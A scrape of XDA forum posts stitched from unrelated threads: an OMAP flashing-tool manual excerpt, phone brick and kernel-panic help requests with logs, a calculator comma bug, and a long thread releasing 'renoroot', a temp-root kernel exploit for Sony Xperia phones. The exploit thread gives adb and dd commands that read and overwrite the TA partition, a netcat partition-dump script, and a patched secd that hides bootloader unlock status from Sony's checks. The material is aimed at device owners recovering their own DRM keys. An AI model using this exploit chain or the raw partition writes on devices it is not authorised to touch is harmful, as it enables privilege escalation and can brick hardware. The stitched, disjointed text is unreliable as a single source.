‘size’ specifies the number of bytes to erase – a value of zero has the
special meaning of “to the end of the device”, either starting at offset zero
or at the specified ‘offset’ value, and can be used to erase the entire
device. Note that the typical erase functionality of a memory device is based
on the erasure of blocks of memory – it may not make sense to ask for erasure
of a size that is not a multiple of the block size of the device.
[B]chip_download <device>[@offset] <file> [/B]
In order to transfer a binary file to a
device on the platform this procedure is used. The ‘device’ identifier is a
string matching one of the devices available on the platform. If an ‘offset’
is specified the binary will be downloaded to the device starting at the
offset address specified. Using an offset should be done with some caution,
since the meaning of the offset value may be unclear for some device types
(e.g. for a NAND device the offset will be used without consideration of bad
blocks present in the memory space preceding the offset address). The file to
be downloaded is specified by the ‘file’ parameter and must be a raw image.
[B]chip_upload <device>[@offset] <size> <file> [/B]
In order to upload the content of
a memory device this procedure is used. The ‘device’ identifier is a string
matching one of the devices available on the platform. If an ‘offset’ is
specified content will be uploaded from the device starting at the offset
address specified. As for the ‘chip_download’ procedure the use of an offset
should be done with caution. The ‘size’ parameter specifies the number of
bytes to upload and the ‘file’ parameter the file to which the uploaded data
will be saved. Note that due to some limitations on the serial link, upload of
data will be considerably slower than download.
[/SIZE]

First things first. I recieved a PM from user itsalllgood with information regarding this topic. Here's the whole PM, copied and pasted:
itsalllgood said:
Dear fred,
Sorry to bother you...I wanted to post here but iam not allowed.. I am a computer engineer from montreal current living abroad..I had gnex that died and did a lot of work to try to get it back..to summ it all the omapidia project add TI site will get the full picture. the tool you linked is based on TI 1.6 omap flash.. i will keep it short... the link below will summ my work and please copy past it if you think its worth it..thanks in advance..
http://forum.xda-developers.com/showthread.php?p=26334564&posted=1#post26334564
Click to expand...
Click to collapse

^^ Somehow your link got messed up, but I think its this one.

Is it possible to hardware prevent a device like Samsung Galaxy S2 to go fastboot / odin mode when powering on but still be able to load the operating system?
Because even although I have a password set on the device, if it is stolen anyone can connect it to fastboot with power+voldown+menu and restore it to defaults. For example filling that corresponding partition with zeros will prevent from entering odin mode unless you boot into the operating system and with dd restore the partition.

First of all, that's off-topic. But I'll provide a speculative answer nonetheless.
I would think that you would be able to prevent a device from reaching recovery/fastboot/odin-download-mode, but it would have a big disadvantage, which is that if you are not able to boot into the OS somehow, you would have an unusable device. Although a device like the Galaxy Nexus, if stolen, could have its data retrieved by potentially using Odin and/or fastboot to reset the password, removing these failsafes would mean that you have a higher chance of bricking. Besides, that's what remote wipe apps (and other stolen-phone tools) are for. Check out Avast! if you don't have an antivirus/stolen-phone toolkit.
I'm by no means an expert here, but that's just my two cents.
EDIT: By the way, could we have someone (like AdamOutler) look at what we've got in this thread so far to see if the MLO file that we found is what's needed (as mentioned by Adam in the first couple posts)?

It's just that I don't either know the exact boot sequence of the SGS2 GT-I9100 nor the partitions interdependence (for example say that the boot partition needs the recovery or the sbl), I coudn't zero that partition because is a dependence.
What I woukd like to know if is possible:
- Backup all partitions.
- Zero, from android with dd, all partitions that allow anyone to enter odin/fastboot/clockworkmod/recovery so, if I lose the device, no one can make a odin backup or reset my device, unless you restore the partitions from the android or you use a hardware JTAG.
- Even the previous done, the phone must be able to normal boot into operating system.

I have a gut feeling that that's not possible. For recovery/odin modes, it may be possible due to them not really being directly involved in the boot process. However, for fastboot, I think it's part of the bootloader itself and therefore cannot be disabled using simple commands without also disabling the phone's booting process. For example, if you have the proper drivers installed on your computer, a Galaxy Nexus that's booting into Android will show up the same device as if you're connected via Fastboot. Unless someone can alter the source and recompile a bootloader with disabled fastboot, I don't think what you stated above is completely possible.

FredFS456 said:
I have a gut feeling that that's not possible. For recovery/odin modes, it may be possible due to them not really being directly involved in the boot process. However, for fastboot, I think it's part of the bootloader itself and therefore cannot be disabled using simple commands without also disabling the phone's booting process. For example, if you have the proper drivers installed on your computer, a Galaxy Nexus that's booting into Android will show up the same device as if you're connected via Fastboot. Unless someone can alter the source and recompile a bootloader with disabled fastboot, I don't think what you stated above is completely possible.
Click to expand...
Click to collapse
I think what I need could be done with a locked bootloader. As far as I know, the Samsung Galaxy S2 comes with an unlocked bootloader (causing the security flaw) while other like Samsung Galaxy Nexus come with a locked one: that means on stock devices, with use pattern or password and usb debugging disabled, there is no way someway can access you data even if not encryption is set.
Anyone can clarify things on this?

Bump, and back on topic.
Any developments here?

Yes. http://forum.xda-developers.com/showthread.php?t=1640443
it's done.

AdamOutler said:
Yes. http://forum.xda-developers.com/showthread.php?t=1640443
it's done.
Click to expand...
Click to collapse
Does anyone know HOW it's done??
EDIT: Actually the accompanying documentation explains quite well!
@Adam: Do you think we could tweak these drivers etc. for other devices not using OMAP?
(It seem that many protocols are standard, inducing the serial (UART) over USB FTDI-drivers...)

E:V:A said:
Does anyone know HOW it's done??
EDIT: Actually the accompanying documentation explains quite well!
@Adam: Do you think we could tweak these drivers etc. for other devices not using OMAP?
(It seem that many protocols are standard, inducing the serial (UART) over USB FTDI-drivers...)
Click to expand...
Click to collapse
It works just like UBM... but stock.
No. I dont think we can do that. Its an omap tool that requires bootmodes to be proper to work on omap. It can be applied to other properly configured omap devices.

min and max functions do not work

Has anyone gotten the min and max functions to work? They seem to have some major problems. Here are some examples:
$(min(5,10))$ = 5.1 [ where does the ".1" come from? ]
$(min(5.,10.))$ = 5 [ correct! ]
$(min(10,5))$ = 10.5 [ wrong, and where does the ".5" come from? ]
$(min(10.,5.))$ = 10 [ wrong ]
$(max(5,10))$ = 5.1 [ wrong, and where does the ".1" come from? ]
$(max(5.,10.))$ = 5 [ wrong ]
$(max(10.,5.))$ = 10 [ correct, but see previous. trustworthy? ]
$(max(10,5))$ = 10.5 [ where does the ".5" come from? ]
Am I missing something? Has anyone gotten these to work?
Jeff

jsjansen said:
Has anyone gotten the min and max functions to work? They seem to have some major problems. Here are some examples:
$(min(5,10))$ = 5.1 [ where does the ".1" come from? ]
$(min(5.,10.))$ = 5 [ correct! ]
$(min(10,5))$ = 10.5 [ wrong, and where does the ".5" come from? ]
$(min(10.,5.))$ = 10 [ wrong ]
$(max(5,10))$ = 5.1 [ wrong, and where does the ".1" come from? ]
$(max(5.,10.))$ = 5 [ wrong ]
$(max(10.,5.))$ = 10 [ correct, but see previous. trustworthy? ]
$(max(10,5))$ = 10.5 [ where does the ".5" come from? ]
Am I missing something? Has anyone gotten these to work?
Jeff
Click to expand...
Click to collapse
Use a semicolon instead of a comma between each argument.
Edit: Different countries use commas and periods differently when it comes to numbers so I believe the app treats commas as equivalent to a decimal point.

RESOLVED
jr67 said:
Use a semicolon instead of a comma between each argument.
Edit: Different countries use commas and periods differently when it comes to numbers so I believe the app treats commas as equivalent to a decimal point.
Click to expand...
Click to collapse
YES! That does the trick. Thank you!

Kernel panic

Need help i'm having the boot loop with KitKat kernels .I told about this issue to Sultan XDA ..and he replied as
Tell those kernel devs to fix their keypad driver:
[ 109.012786] Unable to handle kernel NULL pointer dereference at virtual address 0000001c
[ 109.012969] pgd = d5f14000
[ 109.013061] [0000001c] *pgd=5594e831, *pte=00000000, *ppte=00000000
[ 109.013458] Internal error: Oops: 17 [#1] PREEMPT SMP
[ 109.013580] Modules linked in: dhd vibrator frandom
[ 109.013977] CPU: 1 Not tainted (3.0.101-stock++ #1)
[ 109.014099] PC is at sec_keypad_enable_show+0x10/0x24.
[ 109.014282] LR is at dev_attr_show+0x1c/0x48...so find my problem here: http://forum.xda-developers.com/gal...t-4-3-roms-t2999362/post58093351#post58093351
I askes for a fix and he replied :
Your keypad hardware is slow to initialize at boot:
[ * *1.250640] [TKEY] get_touchkey_firmware F/W version: 0x0, Module version:0x0
[ * *1.250762] f/w read fail retry 6
[ * *1.250946] EXT_I2C No ACK
So some of the data structs in the keypad driver remain in a null state until keypad probe can complete. Some of that data is accessed before keypad probe on your specific device can finish (so it is dereferencing null data), thus crashing the kernel. It's being caused by the keypad-disabler feature, which my kernel does not have. Sorry, but I'm not really interested in fixing other people's kernels, so I can't help you with that........ Can any devs fix this for me plzz!!

Moto z play brick

Guys, my motorola z play was updating and unfortunately was not loading and died kk
When I connect it on the charger, it keeps the LED next to the front camera flashing and only, also when I connect it on the pc it appears `QUSB_BULK`
The few information I've known in a group that can be a hard brick
Can someone help me and tell me where to start?
Thank you all

bruno-prata13 said:
Guys, my motorola z play was updating and unfortunately was not loading and died kk
When I connect it on the charger, it keeps the LED next to the front camera flashing and only, also when I connect it on the pc it appears `QUSB_BULK`
The few information I've known in a group that can be a hard brick
Can someone help me and tell me where to start?
Thank you all
Click to expand...
Click to collapse
What is your software channel ?

jatinkhatri said:
What is your software channel ?
Click to expand...
Click to collapse
I do not remember
I install upgrading it from marshmallow to nougat, it was bought in brazil

bruno-prata13 said:
I do not remember
I install upgrading it from marshmallow to nougat, it was bought in brazil
Click to expand...
Click to collapse
I think you have to install stock room from following link ( it's not flashable zip , you have to flash it through adb )
https://mirrors.lolinet.com/firmware/moto/addison/official/RETBR/

Mobile is not found by cmd
I did a moto x and g procedure so I need a file called `BlankFlash` from the moto z play.
I already researched and nothing until now ....

Look at this thread
https://forum.xda-developers.com/moto-z-play/how-to/moto-z-play-reteu-firmware-otas-t3557917
And download the nougat firmware, that one includes blankflash files.
Just double tap de blankflash.bat file in blankflash folder, if match with your last versión of the bootloader, it will boot to fastboot. Then flash the firmware with the flashall.bat file in root folder.

GuzXT said:
Look at this thread
https://forum.xda-developers.com/moto-z-play/how-to/moto-z-play-reteu-firmware-otas-t3557917
And download the nougat firmware, that one includes blankflash files.
Just double tap de blankflash.bat file in blankflash folder, if match with your last versión of the bootloader, it will boot to fastboot. Then flash the firmware with the flashall.bat file in root folder.
Click to expand...
Click to collapse
This error appears in the log
**** Log buffer [000001] 2017-05-19_17: 49: 32 ****
[0.000] Opening device: \\. \ COM3
[0.002] Detecting device
[4.013] ERROR: sahara_greet_device () -> change_mode () -> do_hello () -> IO error
[4.019] Check qboot_log.txt for more details
[4.023] Total time: 4.025s
[4.025]
[4.025] qboot version 3.40
[4.025]
[4.025] DEVICE {
[4.025] name = "\\. \ COM3",
[4.025] flags = "0x64",
[4.025] addr = "0x61FE5C",
[4.025] api.bnr = "0x832930",
[4.025]}
[4.025]
[4.025]
[4.025] Backup & Restore {
[4.025] num_entries = 0,
[4.025] restoring = "false",
[4.025] backup_error = "not started",
[4.025] restore_error = "not started",
[4.025]}
[4.025]
**** Log buffer [000001] 2017-05-19_17: 54: 12 ****
[0.000] Opening device: \\. \ COM5
[0.002] Detecting device
[4.012] ERROR: sahara_greet_device () -> change_mode () -> do_hello () -> IO error
[4.015] Check qboot_log.txt for more details
[4.016] Total time: 4.017s
[4.018]
[4.018] qboot version 3.40
[4.018]
[4.018] DEVICE {
[4.018] name = "\\. \ COM5",
[4.018] flags = "0x64",
[4.018] addr = "0x61FE5C",
[4.018] api.bnr = "0xB12930",
[4.018]}
[4.018]
[4.018]
[4.018] Backup & Restore {
[4.018] num_entries = 0,
[4.018] restoring = "false",
[4.018] backup_error = "not started",
[4.018] restore_error = "not started",
[4.018]}
[4.018]

bruno-prata13 said:
This error appears in the log
**** Log buffer [000001] 2017-05-19_17: 49: 32 ****
[0.000] Opening device: \. \ COM3
[0.002] Detecting device
[4.013] ERROR: sahara_greet_device () -> change_mode () -> do_hello () -> IO error
[4.019] Check qboot_log.txt for more details
[4.023] Total time: 4.025s
[4.025]
[4.025] qboot version 3.40
[4.025]
[4.025] DEVICE {
[4.025] name = "\. \ COM3",
[4.025] flags = "0x64",
[4.025] addr = "0x61FE5C",
[4.025] api.bnr = "0x832930",
[4.025]}
[4.025]
[4.025]
[4.025] Backup & Restore {
[4.025] num_entries = 0,
[4.025] restoring = "false",
[4.025] backup_error = "not started",
[4.025] restore_error = "not started",
[4.025]}
[4.025]
**** Log buffer [000001] 2017-05-19_17: 54: 12 ****
[0.000] Opening device: \. \ COM5
[0.002] Detecting device
[4.012] ERROR: sahara_greet_device () -> change_mode () -> do_hello () -> IO error
[4.015] Check qboot_log.txt for more details
[4.016] Total time: 4.017s
[4.018]
[4.018] qboot version 3.40
[4.018]
[4.018] DEVICE {
[4.018] name = "\. \ COM5",
[4.018] flags = "0x64",
[4.018] addr = "0x61FE5C",
[4.018] api.bnr = "0xB12930",
[4.018]}
[4.018]
[4.018]
[4.018] Backup & Restore {
[4.018] num_entries = 0,
[4.018] restoring = "false",
[4.018] backup_error = "not started",
[4.018] restore_error = "not started",
[4.018]}
[4.018]
Click to expand...
Click to collapse
If the last OTA was april security, then you need to wait for most recent firmware. The april patch upgrade bootloader, so, you need blankflash of April firmware or later.
If the OTA wasn't the april patch, Try again, sometimes it's hard to detect the device.

GuzXT said:
If the last OTA was april security, then you need to wait for most recent firmware. The april patch upgrade bootloader, so, you need blankflash of April firmware or later.
If the OTA wasn't the april patch, Try again, sometimes it's hard to detect the device.
Click to expand...
Click to collapse
I need the blank flash of april firmware or later, would not you have it available?

bruno-prata13 said:
I need the blank flash of april firmware or later, would not you have it available?
Click to expand...
Click to collapse
My z play is now bricked and I'm also looking for the blankfile...
Sorry that page is for moto z NOT moto z play
https://forum.xda-developers.com/mo...-to-unbrick-moto-z-hardbricked-t3590133/page2

GuzXT said:
If the last OTA was april security, then you need to wait for most recent firmware. The april patch upgrade bootloader, so, you need blankflash of April firmware or later.
If the OTA wasn't the april patch, Try again, sometimes it's hard to detect the device.
Click to expand...
Click to collapse
I left it in full brick, I was tunneling MM and Nougat down with the script Downgrade and coming up with adb sideload and it happened when installing Nougat again.
It should be mentioned that it was with the April patch, the downgrade of a patch MM, restart and install the apps as always and personalize, then added in December, reboot and reinstall No but end instead of restart, I chose to start The bootloadder and alli brickeo.
Everything only with the charger open, no root or any modification, now no garment or anything and if I connect it to the charger of the PC only the charge led flashes, when I connect it the PC recognizes me as ¨Qualcomm hs-usb qdloader 9008 COM5¨ has used and Blankflash for the bike does not finish the process and the 1,2 and 3 dce XDA and neither.
If someone can pass me the Blankflash will thank you, please.
I arrived here:
Blur_Version.25.211.10.addison.retail.es.ES - Security April 2017
NPN 25.137-24-1-9
Download here:
Blur_Version.24.221.12.addison.retail.es.ES - Security November 2016
MPNS24.104-44-10
Install this:
Blur_Version.24.231.19.addison.retail.es.ES - Security December 2016
MPNS24.104-44-16
Then bricke it at the end of the process:
Blur_Version.25.21.2.addison.retail.en.US - Android 7.0 Nougat January 2017
NPN25.137-15.2
By the way a colleague Ali Guzman of the group facebook my pass this compilation NPN25.137-24-1 with the included blankflash but in the middle of the process notifies me of package error.
lenovo-forum.ru page

PLEASE ALL GO TO THIS LINK
Http://lenovo-forums.ru/topic/20594-...comment-550611
WHILE MORE OF US SEE AND LEN LIKE THE COMMENT OF
* VVizard @
SAGE
THEY COULD HELP US CHECK IT

[GUIDE] Unbrick MOTO Z Play.... work in progress! (not working yet)
https://forum.xda-developers.com/moto-z-play/how-to/guide-unbrick-moto-z-play-t3618492

[XZ1c/XZ1/XZp] temp root exploit to backup drm keys implemented

Tools to backup TA partition (drm keys) of Xperia XZ1 Compact
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by j4nn
https://j4nn.github.io/
As everyone knows, bootloader unlock via code from sony removes drm keys. That disables certain functions, the most critical one being the camera (outputting only solid green pictures in case of oreo fw).
I've implemented tools that allow to backup the whole TA partition, which contains device master key needed to access sony drm keys and restore the TA after bootloader unlock in order to make the camera (among other things) working again on any sony stock firmware.
In order to be able to use the tools, you need to flash one of the supported firmwares (or be lucky to have the phone already running it).
In case you need to downgrade, please check this thread first.
Anybody who is about to unlock your phone, could you please do so with additional test included?
See post#500 and post#502 for more details.
Additional details in post#515, post#516, post#517 and post#527.
Instructions for the test that I kindly ask anybody who is about to unlock to do are described in the post#520 -- tested already.
Thank you.
ABOUT THE TOOLS
renosploit - rename/notify exploit to get kernelspace read/write, uses multiple vulnerabilities to overcome kaslr, pxn and pan mitigations of android oreo
renotrap - helper application (rename/notify temp root app)
renoshell - get temp root shell by use of kernel space read/write primitives provided by renosploit (sources available here)
renoroot - a shell script to be started from adb, it starts the above tools to get temp root shell
A preview video of the tools in action can be downloaded here: renoroot-preview.zip or watched online here.
As an alternative to renoroot you may use 'bindershell' to get a temp root shell for TA backup - it is available here /added on 2020-02-08/
SUPPORTED TARGETS
(with downloadable firmware links)
Sony Xperia XZ1 Compact (G8441)
47.1.A.2.324_CE1 (initial tested by @tramtrist, this release tested by @tanapoom1234 post#212)
47.1.A.8.49_CE1 (tested by @notaz post#224 and @orsonmmz post#232)
Sony Xperia XZ1 (G8341/G8343)
47.1.A.2.324_CE1 (tested by @HandyMenny post#228)
Sony Xperia XZ1 Dual (G8342)
47.1.A.2.281_CE1 (tested by @Vildanoff post#230)
Sony Xperia XZ1 (SOV36) /added on 2019-08-22/
this Japan version can be flashed with fw for G8431 making it exploitable as standard XZ1 (the possibility to use G8431 fw is confirmed here and also here)
/this confirms there might be a possibility of TA backup for few yoshino platform phone models that are possible to flash with one of the above firmwares (and boot ok even though designed for other phone variant)/
Sony Xperia XZ Premium (G8141)
47.1.A.3.254_CE1 (tested by @DocLM post#227, by @LinFan post#242 and by @steso90 xzp forum post#45)
Sony Xperia XZ Premium Dual (G8142)
47.1.A.3.254_RU (tested by @greatpatel007 xzp forum post#31 and #39)
Sony Xperia XZ Premium (G8188) /added on 2019-04-24/
this Japan version can be flashed with fw for G8141 making it exploitable as standard XZp (tested by zatsune as documented here)
/this confirms there might be a possibility of TA backup for few yoshino platform phone models that are possible to flash with one of the above firmwares (and boot ok even though designed for other phone variant)/
An advice: before flashing anything, enable 'OEM Unlocking' in android developer menu and if flashing a fw for different phone model, skip flashing bootloader (i.e. remove boot/ subdirectory completely before using newflasher). /added on 2019-08-27/
Please note: the temp root exploit (all renoroot tools) are designed only for the above firmware versions (binary kernels builds in them) - there is no chance it would work on other phones or other kernel builds - do not try it, it would not work.
Concerning portability to other targets, the exploit itself needs several vulnerabilities not fixed in a kernel, the primary one is CVE-2017-7533 (race between inotify and rename).
This was patched by google with 2017-12-05 security patch level. That means unless you can flash a firmware with older security patch level, it would not make sense to try to adapt the exploit for a new target (like it is a case with XZ2 Compact device for example).
USING THE TOOLS
Please follow the steps bellow for a official and up to date guide. If something was not clear enough, you may also check post#382 from @munted for a pdf guide with screenshots possibly containing more details and windows specific hints.
backup everything you need from your phone
flash compatible firmware
Before flashing, you may take a screenshot of service menu -> service tests -> security possibly together with current sw version screen for reference and copy them from the phone to your PC.
You can use newflasher tool from @munjeni and use instructions there to flash the firmware.
The tool should skip dangerous .ta files automatically. You may consider removing Just remove the persist_X-FLASH-ALL-42E5.sin file, which is discussed here to avoid flashing it - as tested by @tanapoom1234, not flashing the persist partition allows to keep the Android Attest Key - check his post#212. /Added on 2019-04-06: The key is not part of TA obviously, it is present in the persist partition, so never flash persist even after TA backup./
/Added on 2019-04-09: When flashing a firmware, be sure to flash it's bootloader too (i.e. the whole 'boot' directory needs to be present with all files in it including the .ta there). You might skip appslog, diag, Qnovo and ssd./
In case of downgrade it is needed to flash userdata (and possibly also cache) otherwise you get a boot loop.
Just backup your stuff before downgrade as with downgrade comes a factory reset. In fact I would recommend to do a factory reset just before the downgrade in order to remove the binding to your google account. This way you can avoid going online after the downgrade if used without sim and skipping wifi configuration.
prepare your phone
When the phone boots up, try to avoid connecting to internet by selecting only wifi and not configuring any, skipping accounts setup for later.
This may not always be possible - if persist is not flashed, android insists on setup of google account online, also starting downloads for upgrade.
Cancel everything as soon as possible and disable wifi. You may be better not using a data enabled sim card - we try to avoid any updates.
Disable auto updates of both apps and system. Change the theme from animated backgroud to a static one.
Enable developer menu, enable adb and "Stay awake" option. An youtube video showing the initial setup to prepare for renoroot is available here.
Take a screenshot of service menu -> service tests -> security for reference and copy it from the phone.
Again be sure both wifi and mobile data connection are disabled to avoid any background internet access.
install the tools
Unzip renoroot.zip (download it bellow). Use following adb commands to get the tools to the phone:
Code:
adb push renoroot /data/local/tmp
adb push renoshell /data/local/tmp
adb push renosploit /data/local/tmp
adb install -r renotrap.apk
start the tools to get a temp root shell
Use adb shell to get a command line terminal to the phone and use following commands:
Code:
cd /data/local/tmp
chmod 755 reno*
./renoroot
The last command above will start the exploit eventually resulting with a temp root shell (that should be indicated by # char before the cursor).
It may get the phone to reboot in case an overwrite does not hit the wanted shaped heap object.
You may wait few minutes after the phone boots to allow startup processes to settle down in order to avoid timing influence for next trial.
There is a video for example of this step available here.
backup your TA partition
When renoroot is successful, you may use following commands in the root shell to backup the trim area partition:
Code:
cd /data/local/tmp
dd if=/dev/block/bootdevice/by-name/TA of=TA-locked.img
chown shell:shell TA-locked.img
sync
sync
And then try to read it out from the phone to your PC - use another command prompt window, do not exit the root one:
Code:
adb pull /data/local/tmp/TA-locked.img
unlock phone's bootloader using a code from sony
When you have the TA-locked.img on your PC including screenshots, you may start the official Sony unlock procedure - follow instructions on sony website please.
Added on 2019-04-16: please note, bootloader unlocking is not reversible - it is not possible to re-lock back (restore of TA-locked does not relock the bootloader).
So be prepared to live with the boot up warning screen (can be seen for example in this video).
Again be sure you have the TA-locked.img on your PC before you start unlocking the bootloader - unlock will erase you phone, so it would get lost from /data/local/tmp if not backed up.
In case oem unlocking is grayed out (so you cannot enable it) you need to go online at least once and the option would be accessible then - video here.
After you unlock the bootloader, do not flash anything - just boot the same unmodified fw we used for the temp root.
get temp root again to restore TA
Use the same instructions to avoid internet access and updates as described above, configure the few above mentioned options and start renoroot as before.
With the temp root shell, backup the unlocked TA (for future comparisons) and then restore the state from the locked one. You may need to adb push the TA-locked.img back to /data/local/tmp as the unlock erased everything.
Code:
cd /data/local/tmp
dd if=/dev/block/bootdevice/by-name/TA of=TA-unlocked.img
chown shell:shell TA-unlocked.img
sync
sync
And then try to read it out from the phone to your PC (and transfer the locked TA back to the phone) - use another command prompt window, do not exit the root one:
Code:
adb pull /data/local/tmp/TA-unlocked.img
adb push TA-locked.img /data/local/tmp
And using the window with renoshell temp root shell, restore the TA:
Code:
cd /data/local/tmp
dd if=TA-locked.img of=/dev/block/bootdevice/by-name/TA
sync
sync
boot up the phone with the current fw and see about the camera if it works on not
You may also document the security screen state by taking a screenshot. Do not forget to transfer it from the phone to PC.
flash twrp recovery
Updated on 2019-08-08: please see post#1029 for the latest workflow with the kernels hiding bootloader unlock status.
Updated on 2019-02-10:
Instead of flashing twrp, you may just 'fastboot boot' it if you need it.
Instead of the steps 10. to 13., you may use patched and rooted kernel hiding bootloader unlock available in following forum threads in order to be able to even install FOTA system update
[XZ1c] rooted kernel hiding bootloader unlock with working fota
[XZ1] rooted kernel hiding bootloader unlock with working fota
[XZp] rooted kernel hiding bootloader unlock with working fota
giving you back sony drm functionality that fw disables when it detects unlocked bootloader status. For more details see also post#645 of this thread.
OPTIONAL step (only for XZ1c maybe XZ1)
This step is optional and only lightly tested. The idea is that secd detects unlocked bootloader and switches to limited mode even though drm keys are available. This can be seen in the adb logcat with following message:
Code:
E secd : secd_backend_credential_manager.cpp:77 the bootloader is unlocked, use limited functionality
To workaround that, we may use a secd ripped from secd extension by modpunk - just flash attached secd-ignore-unlock.zip at bottom of this post via twrp recovery (do not flash the 'secd extension by modpunk' which is linked here only for reference).
I've analysed, what changes were done in the secd. Also the lib which fixes the missing device key in TA is not needed from the modpunk's package as we have the real valid key there, so I've removed the lib (and the script which would preload it). Therefore it is just about making secd think that bootloader was not unlocked. Thanks to @modpunk for the patched secd and @russel5 for the flashable zip on which the secd-ignore-unlock.zip is based on.
With this, sony updates may start to arrive.
Please note, this would make sony think the phone runs unmodified and still locked fw. OTA updates may restore original secd or fail altogether (due to modified system/vendor/... partitions).
You may boot the phone to see what happens (OTA updates?) - edit: OTA updates did come, but install to be done on reboot failed - tested by @Unbounded, see post#43 and #44 of the attest key thread please - this may confirm the availability of the SOMC Attest Key which may be the key needed to get sony ota updates (just a guess, not sure what exactly this key is used for).
Again, this step is optional and very experimental, maybe better not to apply it (camera works without this step on any stock fw without any change /until sony changes that in some update/).
Update: see post#395 for secd_ignore_unlock for XZ1c for pie from @S-trace - thank you. It works with XZ1 too (see post#396). The patch port for XZp pie is here: attest key thread post#67.
In my opinion all these secd patch variants are hiding the unlocked state only partially. There are other components in the fw that ask about the unlock state. A proper solution for this is the unlock hiding patched kernel linked in the step 10. of this howto.
flash a recent stock firmware
In case you wanted the patched secd, flash it again over the flashed fw.
Boot the phone, check functionality, take screenshots.
install magisk if rooted phone is what you need; -)
Follow instructions of latest magisk, it should work without any special actions.
AUTOMATED FULL BACKUP
These are experimental tools (and actually seem not to work in some cases getting truncated files that are useless) to extract most of the partitions from the phone after getting a temp root. It can be used for comparisons/analysis of what unlock changes (download backup-tools.zip at bottom of this post).
You would run backup-setup.bat in windows command prompt first (you may need to adjust the PATH setting to find adb properly) to copy the tools to the phone and setup tcp forwarding for netcat based copying.
Then using adb shell you would do:
Code:
cd /data/local/tmp
./backup-send.sh
and in windows command prompt you would start:
Code:
backup-recv.bat bk-unlocked
and partitions images would be extracted from the phone (for larger ones sparse android image format is used).
Full depth comparison could be achieved by use of these backup tools (obviously needs to be done twice - before and after unlock, changing the target directory name argument of backup-recv.bat).
WHAT WORKS
Here is a quote of post#185 from @tramtrist in this thread describing the results of the initial tests - special thanks to him!
tramtrist said:
I'd like to report in real quick on what's working.
After following @j4nn very clear instructions and backing up/restoring my TA keys I was left with the NOT PROVISIONED messages he mentioned earlier. However this seems to be no problem as after TA-restore my camera works as it did before. I'm also able to use WIDEVINE sites which require that key as well.
After restoring TA I went ahead and flashed the latest UK customized firmware
I then flashed TWRP latest version 3.2.3
I wanted to have root so I flashed Magisk 1.73 and safety net worked without me having to do anything special.
Google Pay could be set up and seems to be using my credit cards just fine.
I didn't flash any custom kernel as stock is just fine for me.
Adaway is working with root without issue.
All-in-all if you follow @j4nn instructions when he's ready to fully release them to the public then I'd say you will be in good shape.
I'd like to thank @j4nn for giving me the chance to finally contribute something concrete to this community. If you're gonna use this you should drop him some cash.
Click to expand...
Click to collapse
Update: if you follow the links added in step 10. and use "rooted kernel hiding bootloader unlock", it seems you can have all functionality restored including fota system updates while having magisk root with passed safetynet cts. Verified by @notaz in post#14 of the "[XZ1c] rooted kernel hiding bootloader unlock" thread. Thanks.
ACKNOWLEDGEMENTS
Many thanks to following users:
@moofesr - for testing initial kernel builds until proper build procedure had been found, special thanks for his patience when all tests resulted with bootloop
@Raz0Rfail and @moofesr - for testing timing of rename/notify vulnerability with patched kernel
@dosomder (aka zxz0O0) - for his iovyroot
@tramtrist - for initial testing of TA backup, unlock and restore, special thanks for exposing to risk of loosing drm if it did not work
@tonsofquestions - for a lot of testing with unlocked-ta-restored phone when I did not have an unlocked phone yet
ThomasKing (not a user on xda) - for his black hat ksma presentation
few other users in this and attest key lost thread here on xda - for some other cve possibilities, ideas and specific tests
DONATIONS
Please note: I had to invest enormously lot of time (as you can see throughout this thread and also summarized in progress/change log in post#2) to develop these tools, the code is extremely complex (more than 9000 lines of source code) and it was unbelievable hard to debug and get the timing usable.
It would be kind of you if you could consider donating here please:
https://j4nn.github.io/donate/
I would be happy to accept any donation to me as a form of gratitude in case the software helped you to backup your TA (drm keys) before bootloader unlocking.
Thanks.
DOWNLOAD THE TOOLS
See the attached renoroot.zip at bottom of this post.
Please post your experience with using the tools, if it worked and on which phone model (and fw in case of xz1c).
You may include info about how long it took to get a root shell, how many reboots, how many events in the last trial which succeeded with how many overwrites (just one with success is the best, more means previous overwrites did not hit wanted object in shaped heap resulting with possibly unstable system). This info is interesting for statistics, so we all know, how fast can we get a temp root on each device/firmware.
Thanks.

DEVELOPMENT PROGRESS / CHANGE LOG
26-05-2018 started this thread listing vulnerabilities found during many weeks of research done right after buy of my XZ1c phone
06-06-2018 post#7: managed to boot kernel from the 47.1.A.2.281 fw in qemu
16-06-2018 post#25: simple out of bounds overwrite not useful, complex exploiting of use after free needed
02-07-2018 post#33: explained how use after free exploit would work, but timing is impossible: kfree from rcu too late
06-07-2018 post#44 and post#48: more details about exploiting use after free and kfree_rcu too late kfree timing problem
17-07-2018 post#53: first kernel to test timing, did not boot when tried with unlocked xz1c
27-07-2018 post#73: solved the problem with delayed kfree from kfree_rcu, basic inotify/rename proof of concept running in qemu for long filenames
27-07-2018 post#75: found a way to build xz1c kernel from source which can be booted on unlocked xz1c, confirmed the delayed kfree from rcu timing problem
11-08-2018 post#88: extensive testing of timing
20-08-2018 post#104: inotify/rename exploit now works with long filenames, allowing kernel heap (256 bytes slub unit) overflow, overview of next phases of the exploit yet to be implemented
31-08-2018 post#118: implemented mostly arbitrary kernel write _together_ with mostly arbitrary kernel read, first bypass of KASLR but we need to bypass PXN & PAN too
15-09-2018 post#131: found that we will need ROP/JOP gadgets to overcome PXN & PAN oreo mitigations, more details in post#135
22-09-2018 post#137: first arbitrary kernel space read and write proof of concept working in qemu
22-09-2018 post#138: with great timing luck kernel space R/W poc worked on still locked xz1c
05-10-2018 post#146: first backup of my xz1c locked TA done: asking for an unlock-and-TA-restore test volunteer
07-10-2018 post#151: confirmed that BL unlock removed 66667 unit - device master key?
18-10-2018 post#162: exploit not reliable enough for public use yet
22-10-2018 post#165: renoroot preview video, send initial test version to @tramtrist
22-10-2018 post#168: renoroot initial test results - after TA restore camera works, BL remains unlocked
25-10-2018 post#185: more initial test results directly from @tramtrist
28-10-2018 post#199: researched possible uses of various keys from security service menu
03-11-2018 post#206: renoroot temp root including tools and howto for TA partition (drm keys) backup released, put everything on the first page
05-11-2018 post#235: renoroot confirmed working with other phone models
10-11-2018 post#287: ordered a new xz1c just for testing and development work
18-11-2018 post#348: the new xz1c arrived
22-11-2018 post#372: a persistent root from a temp root possibility - but not with selinux
11-12-2018 post#428: possibly the fastest temp root - 6.03 seconds with just 53 events and 1 overwrite
05-01-2019 post#493: explained about TA restore not re-locking bootloader - good for us!
09-01-2019 post#515: intercept BL unlock of xz1c in the middle of the procedure
10-01-2019 post#516: posted few videos to highlight key points when preparing for unlock with backup of TA via renoroot temproot
